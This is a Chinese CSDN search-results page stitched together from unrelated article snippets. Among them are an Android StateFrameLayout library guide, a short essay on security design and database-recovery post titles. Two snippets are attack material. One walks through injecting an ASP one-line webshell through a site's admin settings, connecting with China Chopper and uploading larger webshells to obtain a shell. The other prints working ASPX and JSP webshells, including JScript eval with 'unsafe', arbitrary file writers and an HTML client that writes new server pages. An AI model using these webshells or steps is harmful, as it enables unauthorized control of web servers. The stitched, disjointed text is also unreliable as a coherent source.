精华内容
下载资源
问答
  • 一句话的使用

    千次阅读 2019-05-25 00:15:41
    3企业邮箱内插入一句话 4保存配置,打开中国菜刀 5http://www.xxxx.cn/inc/config.asp 其中XXXX为你的目标站 6菜刀右键添加,把网址第五步的丢进去 右边那一栏输入一句话的密码pass(默认)下 面的脚本类型为...

    1进入后台之后找网站信息配置
    2在企业邮局里面拷贝出来邮箱做好记录,恢复用
    3在企业邮箱内插入一句话
    4保存配置,打开中国菜刀(我的上传中有)
    5http://www.xxxx.cn/inc/config.asp 其中XXXX为你的目标站
    6菜刀右键添加,把网址第五步的丢进去 右边那一栏输入一句话的密码pass(默认)下
    面的脚本类型为asp 其他不变 最后点添加
    7用中国菜刀链接点击文件管理
    8在inc目录下上传一个小马(注意更改后缀为asp)
    9 打开http://www.xxxx.cn/inc/你的小马名字.asp
    10 打开小马输入密码进入小马
    11 复制文件地址输入上面的栏中后面加大马名字.asp
    12 把大马以txt文档形式打开,复制粘贴至下面的栏中。
    13 保存
    14 访问11步骤中的大马
    15 输入大马密码,成功得到shell
    一句话的总结
    一 留言本插入

    在留言框内 插入一句话
    <%eval request("#")%>
    <%execute request("#")%>
    ┼”}数�†整 „焕敌�›∨≡┩忾
    这三个都是asp一句话,在国内小站asp还是比较泛滥的。如果当前web没有进行过滤可以直接以留言的方式提交过去。
    如果过滤不严可以闭合插入。如最简单的
    %><%eval request("#")%><%
    比如当前页
    http://site/guest/guestbook.asp
    你在当前页提交一句话后是不能直接链接http://site/guestbook.asp的&#

    展开全文
  • 简介项目中经常遇到这样一种情况,新打开的界面需要加载数据,存在多种状态的结果,需要根据不同结果展示界面,这个过程归纳起来可以分为五种状态:...StateFrameLayout 继承自FrameLayout,内部实现了一句代码切换各种

    简介

    项目中经常遇到这样一种情况,新打开的界面需要加载数据,存在多种状态的结果,需要根据不同结果展示界面,这个过程归纳起来可以分为五种状态:初始状态、请求状态、空数据状态、网络错误状态、成功请求状态。 如果多个界面都存在这个流程,那么封装整个过程的调用就很有必要了,既可以简化调用过程,又可以很方便的管理整个流程。

    StateFrameLayout 继承自FrameLayout,内部实现了一句代码切换各种状态的功能(各状态的布局均需要在xml指定,具有高度定制性),并且内部实现了状态缓存,无需担心内存回收后重新打开界面会导致状态被重置(可打开手机开发者选项中的“不保留活动”来验证)。

    Github:https://github.com/Vanish136/StateFrameLayout

    使用

    Gradle中引用

        compile 'com.lwkandroid:StateFrameLayout:1.0.1'

    xml中定义

        <com.lwkandroid.stateframelayout.StateFrameLayout
            android:id="@+id/stateLayout"
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            app:enableContentAnim="true"   //是否在展示内容布局的时候开启动画(200msAlpha动画)
            app:emptyLayoutResId="@layout/layout_empty"   //这里指定空数据布局
            app:loadingLayoutResId="@layout/layout_loading" //这里指定加载过程的布局
            app:netErrorLayoutResId="@layout/layout_net_error" //这里指定网络错误的布局
            >
    
            <!--在这里定义内容布局,内容布局只能有一个-->
            <FrameLayout
                android:layout_width="match_parent"
                android:layout_height="match_parent"
                android:background="@android:color/holo_green_dark">
    
                <TextView
                    android:layout_width="wrap_content"
                    android:layout_height="wrap_content"
                    android:layout_gravity="center"
                    android:text="我是内容"
                    android:textAppearance="?android:textAppearanceLarge"/>
    
            </FrameLayout>
    
        </com.lwkandroid.stateframelayout.StateFrameLayout>

    备注: 此外,对于空数据和网络错误的状态提供了重试接口,需要在空数据或网络错误布局中指定触发的view对应的id:android:id="@id/id_sfl_empty_retry"android:id="@id/id_sfl_net_error_retry"


    代码中使用

    五种状态:

    1. StateFrameLayout.INIT:初始状态,所有布局隐藏,默认切换的状态
    2. StateFrameLayout.LOADING:只显示请求Loading布局
    3. StateFrameLayout.EMPTY:只显示空数据布局
    4. StateFrameLayout.NET_ERROR:只显示网络错误布局
    5. StateFrameLayout.SUCCESS:只显示请求成功后的内容布局
        StateFrameLayout mStateFrameLayout = (StateFrameLayout) findViewById(R.id.stateLayout);
    
        //切换各种状态
        mStateFrameLayout.changeState(上面五种状态中任何一个);
        //是否在展示内容布局的时候开启动画(200ms的Alpha动画)
        mStateFrameLayout.enableContentAnim(true);
    
        //设置网络错误重试监听
        mStateFrameLayout.setOnNetErrorRetryListener(new StateFrameLayout.OnNetErrorRetryListener()
        {
            @Override
            public void onNetErrorRetry()
            {
                //TODO 在这里相应重试操作
            }
        });
        //设置空数据重试监听
        mStateFrameLayout.setOnEmptyRetryListener(new StateFrameLayout.OnEmptyRetryListener()
        {
            @Override
            public void onEmptyRetry()
            {
                //TODO 在这里相应重试操作
            }
        });


    效果图





    参考

    MaterialPageStateLayout: https://github.com/Syehunter/MaterialPageStateLayout

    感谢所有为开源做出贡献的人们!

    展开全文
  • ASPX一句话木马详细分析

    千次阅读 2018-12-28 09:29:15
    首先回顾一下以前ASP一句话的经典木马吧! &lt;%if request("nonamed")&lt;&gt;"" then execute request("nonamed")%&gt; VBS中execute就是动态运行指定的代码而...

    首先回顾一下以前ASP一句话的经典木马吧!

    <%if request("nonamed")<>"" then execute request("nonamed")%>

    VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的!网上也有例子我就不多说了!.....

    然后解析语言终究发展成为中间代码例如java .net  动态执行也就不存在了!

    之前ASP中正常情况只支持VBS JSCRIPT(像python perlscript 这些特例的我就不说了)...

    如今ASPX中 所支持的VBS的高级版本VB已经不存在execute这个独有的方法....真遗憾....

    同时Jscript 也一样转向高级版本Jscript.net  但是我们需要的eval函数还是生存下来的!script child有幸了...

    先埋下一个伏笔吧~ 先谈谈如今的中间语言WEB应用中的一句话

    JSP :<%
    if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
    %> 这个是我自己写的 要弹要说,都是大家的 呵呵!我不发言.....

    ASPX:<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%>这个不知道是谁的作品,感觉性质有点像我的JSP一句话了!不过还是把简单的shell实现了!支持ing....

    两个一句话大体都一样 调用类把 接收的都写到文件!简单说就是对文件写操作而已!~昔日ASP一句话的光辉 如今在中间语言的后门中给限制得荡然无存~~错!......ASPX C/S木马我们一样可以实现!因为有Jscript.net的存在!上面所说到的eval函数还生存着!~
    OK我们先来实现
    <%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>
    这样?恩!可以拿去尝试了~ 保存为 text.aspx 然后提交
    http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();
    打印出当前时间...Sat Aug 4 20:05:20 UTC+8 2007
    貌似OK了哦! 呵呵 我们再试
    http://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");
    发现报告错误了!....(我就是因为卡在这里,所以折腾了几个月,不然这文章早出炉了!在这里感谢一下  闇の術士 QQ:4659675 欢迎大家找他学习 ...哈)
    错误原因
    {
    安全性异常 
    说明: 应用程序试图执行安全策略不允许的操作。要授予此应用程序所需的权限,请与系统管理员联系,或在配置文件中更改该应用程序的信任级别。 
    异常详细信息: System.Security.SecurityException: 请求失败。
    }
    为什么会这样呢?OK我们找到 MS文档

    往下面看

    http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmscStartPage.asp

    JScript .NET     
    JScript .NET 的新增功能
    JScript .NET 是下一代的 Microsoft JScript 语言,它是使用 Web 语言方便快捷地访问 Microsoft .NET 平台的一种方法。JScript 的主要作用是使用 ASP.NET 构造 Web 站点和使用 .NET Framework 脚本自定义应用程序。

    JScript .NET 与 ECMAScript 标准兼容,而且它还具有 ECMAScript 未指定的其他功能,例如,真正的编译代码、通过符合“通用语言规范”(CLS) 而实现的跨语言支持,以及对 .NET Framework 的访问。Visual Studio .NET 2002 中的 JScript .NET 版本充分利用了 .NET Framework 本身所具有的安全性,而 JScript .NET 2003 为 eval 方法添加了受限安全上下文,从而进一步增强了安全性。

    在 JScript .NET 中的几种新功能旨在充分利用 CLS,这是用来标准化数据类型、对象公开方式、对象互用方式等内容的一组规则。任何符合 CLS 的语言都可以使用在 JScript .NET 中创建的类、对象和组件。作为 JScript 开发人员,您可以从其他符合 CLS 的编程语言访问类、组件和对象,而无需考虑语言特定的差异(比如数据类型)。JScript .NET 程序使用的一些 CLS 功能包括命名空间、属性、引用参数和本机数组。

    下面是 JScript .NET 中的一些新功能:

    JScript .NET 2003 的新增功能
    eval 方法的受限安全上下文
    现在,为了增强安全性,不管调用方的权限是什么,内置的 eval 方法都默认下在受限安全上下文中运行脚本。调用 eval 时如果将“unsafe”作为第二个可选参数,会导致脚本使用调用方的权限运行,这样就会允许访问文件系统、网络或用户界面。有关更多信息,请参见 eval 方法。
    JScript .NET 2002 的新增功能
    基于类的对象
    JScript .NET(像 JScript 一样)通过基于原型的对象支持继承。JScript .NET 还允许声明定义对象数据和行为的类,从而支持基于类的对象。在 JScript .NET 中创建的类可由任何 .NET 语言使用和扩展。类可以继承基类的属性和方法。可以对类和类成员应用几种属性,修改它们的行为和可见性。有关更多信息,请参见基于类的对象。
    JScript 数据类型
    在 JScript .NET 中(像 JScript 一样),可以在编写程序时不指定变量的数据类型。JScript .NET 也可用作一种强类型化语言,其中所有变量都绑定到特定数据类型,或者您还可以混合使用类型化和非类型化变量。JScript .NET 提供了许多新的数据类型。还可以将类和 .NET 类型用作数据类型。有关更多信息,请参见 JScript 数据类型。
    条件编译
    指令可控制 JScript .NET 程序的编译。例如,@debug 指令可以为脚本的特定部分打开或关闭调试信息的发布。有关更多信息,请参见 @debug 指令。@position 指令为调试器设置当前行的行号。有关更多信息,请参见 @position 指令。如果正在编写将合并到其他脚本中的代码,那么这两个指令都是有用的。有关更多信息,请参见条件编译。
    JScript 命名空间
    命名空间通过将类、接口和方法组织成层次结构来防止命名冲突。在 JScript .NET 中,您可以定义自己的命名空间。还可以使用 JScript .NET 访问任何 .NET Framework 命名空间,包括自己定义的那些命名空间。包语句允许打包相关的类以实现方便的部署和避免出现命名冲突。有关更多信息,请参见 package 语句。导入语句使得 .NET Framework 命名空间可用于某个脚本,这样该脚本就能访问命名空间中的类和接口。有关更多信息,请参见 import 语句。
    JScript 变量和常数
    JScript .NET 引入了一个 Const 语句,用来定义表示常数值的标识符。有关更多信息,请参见 JScript 变量和常数。
    枚举
    JScript .NET 引入了 Enum 语句,允许构造枚举数据类型。利用枚举,可以为您的数据类型值指定有用的名称。有关更多信息,请参见 enum 语句。
    再来找到 eval方法

    http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmtheval.asp

    JScript .NET     
    eval 方法
    计算 JScript 代码并执行。

    function eval(codeString : String [, override : String])
    参数
    codeString
    必选。包含有效 JScript 代码的字符串。
    override
    可选。确定要应用于 codeString 中代码的安全权限的字符串。
    备注
    eval 函数允许动态执行 JScript 源代码。

    传递给 eval 方法的代码执行时所在的上下文和调用 eval 方法时的上下文一样。请注意,在 eval 语句中定义的新变量或类型对于封闭程序是不可见的。

    除非将字符串“unsafe”传递为第二个参数,否则,传递至 eval 方法的代码在受限安全上下文中执行。受限安全上下文禁止访问系统资源,如文件系统、网络或用户界面。如果代码试图访问这些资源,则会产生安全异常。

    当 eval 的第二个参数为字符串“unsafe”时,传递给 eval 方法的代码在调用代码所在的安全上下文中执行。第二个参数是区分大小写的,因此,字符串“Unsafe”或“UnSAfE”不会重写受限安全上下文。

    安全说明   在不安全的模式下,eval 只能用于执行从值得信任的源获得的代码字符串。

     

     

    原来eval 给限制了安全性~呵呵那我们就照他说的去做加入 unsafe参数实现
    <%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
    OK
    提交http://127.0.0.1/test.aspx?z=Server.MapPath(".")
    打印出 F:/nonamed/DOTNETPROJECT 是我当前的WEB目录 成功了! 热泪ing~~~ 也就是你提交什么上去他就运行什么 恢复当年ASP后门的效果了!~  -_-
    Response.Write可以不要!不过我为了回显 所以加上去了 :) 
    OK 以下我们构造出 一句话的客户端吧!

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD>
    <TITLE> ASPX one line Code Client</TITLE>
    </HEAD>
    <BODY>
    <form action=http://127.0.0.1/test.aspx method=post> 
    <textarea name=z cols=120 rows=10 width=45>
    var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
    nonamed.Write(Request.Item["l"]);
    nonamed.Close();
    </textarea> 
    <textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br> 
    <input type=submit value=提交> 
    </BODY>
    </HTML>

    全文完.....
    --------------------- 
    作者:kj021320 
    来源:CSDN 
    原文:https://blog.csdn.net/kj021320/article/details/1726442 
    版权声明:本文为博主原创文章,转载请附上博文链接!

    展开全文
  • 听我们总工讲的一句

    千次阅读 2010-02-09 21:32:00
    不管怎么说,安全规范很复杂,这里讲也讲不清,不幸的是,我根本就不知道安全规范的全部内容,反正你的软件想通过认证从而卖的更好,那么就一定要尽可能的符合人家的规范,可是我们遇到个问题,我们

    我们的产品终于要分布了,但是必须经过一定安全审查,这是很重要的,因为安全性可以显示我们软件的档次,比如我们的产品是安全产品,这种产品起码的保证是本身是安全的,如果软件本身涉及到了通信,那么一定保证通信信道是加密的,不管怎么说,安全规范很复杂,这里讲也讲不清,不幸的是,我根本就不知道安全规范的全部内容,反正你的软件想通过认证从而卖的更好,那么就一定要尽可能的符合人家的规范,可是我们遇到一个问题,我们做的是防篡改系统,如果有人改了我们监控的目录的文件,那么我们会阻止并且一旦有人绕开了我们的阻止,那么当此文件被访问时我们会给予恢复,如果有人新增加了一个文件,我们也会阻止,可是一旦没有阻止得住怎么办呢?因为按照正常流程,这个新增加的文件根本不会被访问,那么我们也就没辙了,毕竟我们想不出一个删除它的时间点。

    我们的软件可以将被篡改的文件恢复,恢复包括删除恢复,篡改恢复和添加恢复,如果我们一开始就阻止删除,修改,添加这些操作不就结了吗?那当然可以,但是安全设计中那些都是正常情况,我们的总工说:正常情况下我们要阻止异常操作,但是一旦有人异常操作了,我们必须要有补救措施。这句话看似不合理,我们都阻止了异常操作,那怎么会有人异常操作呢?其实这里没有什么矛盾的,这就好像我们的门上都有锁了,那为何还会有入室盗窃呢?这其实是一种防护的问题,我们用锁防护的是一般的偷窃,而是总会有小偷把锁撬开的,于是公安部门就是为这些异常情况而设置的补救机构。还有个例子就是“温言在口,大棒在手”,防君子不防小人也是这个意思。我们这里抽象出来的意思就是主观和客观,主动和被动的差异导致了两种抵御措施的形成。对于正常情况下放篡改,我们是主动的防御,然后改方是被动的接收,如果它不接受,转为主动攻击的话,那么这次被动方就成了我们了,于是在异常情况下我们必须有攻击者主动攻击下的被动补救措施,只有这样,我们才可以把安全这件事说的很圆。

    针对我们的需求,虽然攻击者可能会异常的增加文件绕开我们的防增加机制,但是可以想想它增加文件的目的,文件嘛,肯定是用来访问的,我们再来一个主动拦截,就是拦截正常访问,一旦有正常访问这个异常添加的文件了,那么删除了它。但是还有一种可能,就是恶意攻击者还会绕开我们的正常访问拦截机制,不会万事有个度,都要有个权衡,就好像TCP协议一样,三次握手就一定可以保证第四次不会断掉吗?看来安全设计确实有趣。

    展开全文
  • SQL200中误删除了个表如何恢复

    万次阅读 2006-01-11 23:07:00
    SQL200中误删除了个表如何恢复document.title="SQL200中误删除了个表如何恢复 - "+document.title ...SQL200中误删除了个表如何恢复。 ( 积分:300, 回复:59, 阅读:731 )分类:数据库-C/S型
  • ASPX一句话木马--终极版

    千次阅读 2007-08-08 22:29:00
    软件作者:kj021320信息来源:I.S.T.O团队首先回顾一下以前ASP一句话的经典木马吧!"" then execute request("nonamed")%>VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句...
  • SQL200中误删除了个表如何恢复

    千次阅读 2006-01-09 10:47:00
    SQL200中误删除了个表如何恢复。 ( 积分:300, 回复:59, 阅读:731 )分类:数据库-C/S型 ( 版主:qince, luyear ) 来自:次时代, 时间:2003-11-29 16:31:00, ID:2323925[显示:小字体 | 大字体]
  • 次无备份恢复Mysql误删用户数据

    万次阅读 2018-05-21 14:10:22
    我看到后端原本写好了一句查询语句,我就把id复制进去,然后选中,鼠标右键“选择运行”,这时候我没有注意到前的delete,当我看到MYSQL-Front提示影响一条数据记录的时候。我知道,我一不小心把他删了。这时候我...
  • Android 点击ListView(或GridView)的个item,使其里面textview变色,点击另个这个恢复原来颜色
  • 次MySQL删库的数据恢复

    万次阅读 2016-11-25 21:43:49
    时间停止数据库服务和Web服务,备份MySQL数据目录下的所有文件之后,开始走上数据恢复之路。第次干这种事,各种不得法。因为我们既没有备份,也没有开启binlog,连innodb_file_per_tabe_也没有。一番折腾后...
  • Oracle数据库备份与恢复 - RMAN恢复

    万次阅读 2015-07-15 17:16:41
    RMAN恢复原理首先还是得理解Oracle数据库恢复个原理。数据库恢复是指将数据库恢复个一致性的状态,整个恢复操作可以分为两个步骤,数据库修复(RESTORE)和恢复(RECOVER)。Oracle官方文档上关于Restore和...
  • 存储上共有6块硬盘组成raid5阵列,正常使用过程中存储突然崩溃,强制重启后无法找到存储设备,再重启还是这样。客户于是联系我们进行存储层面的数据恢复。· 【数据恢复故障分析】 经过和硬件部门同事的同检测和...
  • 看了代码,调了程序,看了文档,总算有点概念 记录一下 bio 代表个IO 请求 request 是bio 提交给IO调度器产生的数据,个request 中放着顺序排列的bio 当设备提交bio 给IO调度器时,IO...
  • 个说我谷歌浏览器用的插件太多太繁琐了,把我搞累了 乌龟哥哥你能不能教教我有没有好用的插件,我平时CSDN用的多,你能推荐个好用的插件不,帮助解决一下我的杂乱插件。 我说可以,我说你谷歌浏览器用的插件...
  • 【新手笔记】SQL Server数据库定时恢复种实现方法 最近要做个测试服务器,这要求每天晚上都把测试数据库里的数据恢复为初始状态。打算通过对初始状态的数据库备份个文件.bak文件,通过这个备份文件来进行...
  • 就像电脑中的格式化一样,手机里也有类似的功能——恢复出厂设置。可以最快速的将系统星空,重头再来。但这种方法也是有弊端的,那就是数据极容易被丢失。所以,很多朋友出现手机问题了,就会擅自点击恢复出厂设置,...
  • 首先回顾一下以前ASP一句话的经典木马吧!"" then execute request("nonamed")%>VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的!...
  • 记git stash误删除后的恢复

    千次阅读 2017-11-16 00:22:30
    记git stash误删除后的恢复
  • 今天把自己的个服务器的数据误操作删除了个重要的数据表,心想,嗯,真特么的想扇自己个耳光,哈哈哈 好,事不宜迟,进入正文 事情是这样的。我执行了TRUNCATE操作,导致表清空了,那么静下心来想 所有线上...
  • 从删库到跑路or恢复,记次MySQL数据库文件损坏恢复经历这是工作7年来出的最大次事故,去年给自己定的个目标今年写12篇有质量的文章反馈给互联网,都快过半年了篇还没有写,没想到第篇竟然是以这种方式书写...
  • jquery:点击之后变颜色,点击另个,另各变颜色,当前的恢复颜色
  • Android中Fragment数据保存和恢复

    千次阅读 2016-05-24 10:27:27
    原文地址:请扫文后stormzhang大神的微信公众号——AndroidDeveloper 写前面 ...一句话总结 临时数据 对于临时数据,我们使用onSaveInstanceState方法进行保存,并且onCreate方法中恢复
  • 有木有遇到过这种情况?电脑或者服务器需要重装系统?...今天合肥网站制作向阳互联就来介绍一下如何口气导出全部数据库,再把数据库恢复回来,其实利用mysqldump的—alld-atabases参数可以口气把你数据
  • 昨晚写了晚上的马原论文,没有保存直接合上电脑了。今天想着更新一下软件,顺便重启一下,word跳出来让我存储一下。我就把马原论文保存到了桌面上。可是,再次打开,居然是空白一片!!!尝试好多方法,终于找回来...
  • MySQL数据恢复--binlog

    万次阅读 2014-03-07 23:16:14
    * 数据恢复 * 主从数据库。用于slave端执行增删改,保持与master同步。 1.开启binary log功能  需要修改mysql的配置文件,本篇的实验环境是win7,配置文件为mysql安装目录\MySQL Server 5.1下的
  • 归档与恢复归档归档,英文Archiver[‘ɑ...归档和恢复主要用于对自定义类型对象进行存储,程序暂停或关闭前保存自定义数据,程序重新恢复状态或启动后读取存储的自定义数据。 支持归档和恢复的类必须实现NSCoding
  • 种快速简单而又有效的低照度图像恢复算法 《Adaptive Local Tone Mapping Based on Retinex for High Dynamic Range Images 》的文章提出的主要内容时这对高动态图像的显示问题,他结合传统的Retinex技术提出了...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 159,287
精华内容 63,714
关键字:

一句在吗怎么回复